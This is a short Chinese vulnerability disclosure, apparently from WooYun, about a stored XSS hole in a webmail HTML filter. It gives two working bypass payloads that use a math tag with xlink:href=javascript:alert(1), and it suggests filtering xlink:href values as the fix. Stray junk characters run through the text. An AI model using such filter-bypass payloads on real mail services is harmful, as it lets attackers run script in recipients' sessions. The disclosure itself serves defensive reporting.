简要描述:对某标签和某属性过滤不严导致可以在邮件中植入恶意代码
1 I8 k2 M7 v% }4 N4 _2 S j/ J4 j详细说明:按照老习惯通过支持html编辑的邮箱往目标邮箱海量发送xss vectors然后看漏了什么
) _6 ~- I7 @6 m7 g) E. A; q- W2 ^
. h- y" C4 @( B Q$ E) @7 a8 B1 b7 v! K
可以看到我的svg被提前闭合了,rect里面的 width="1000" height="1000" fill="white"各种属性也和王力宏那首“你不在”一样,不见了。。不过貌似对于xlink:href没有过滤这是硬伤啊。接下来只要能让我插入math标签,这个问题基本上就算是解决了。2 X; |; B0 p! E' U
而事实上。。。确实就那样成功了
* k# T( ]( N+ @! X有效的payload如下:- <math><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)" target="_blank">abc q<rect></rect></a> </math>
/ M2 o4 [$ R: ^" ?
$ _+ r% Q0 b$ X) H) ~- d; l复制代码1 `+ c0 X; G. Y5 V5 v
当然也可以缩减一下,写成这样。- <math><a xlink:href=javascript:alert(1)>I'mshort
6 ?5 r% M( N4 q% Y- q
# y% U7 x% R. z& k2 I复制代码
: y T, @) t3 ^( B漏洞证明:
0 X, x. e r2 a+ b& N4 T
* @: n$ [0 T+ u9 C k6 s) ^4 ^
! R9 N, n3 V' m" {) j0 W2 ^0 r/ l' m, D! C* t. @4 h6 b# h
修复方案:对xlink:href的value进行过滤。. c& x e" @3 j1 R. I
$ K# a6 H+ B# q7 a4 Y
来源 mramydnei@乌云
9 I7 o* ?1 h* ]% E
+ Y- y4 m9 l% ]! @
$ z3 |1 N' C4 K+ c7 z- e% P |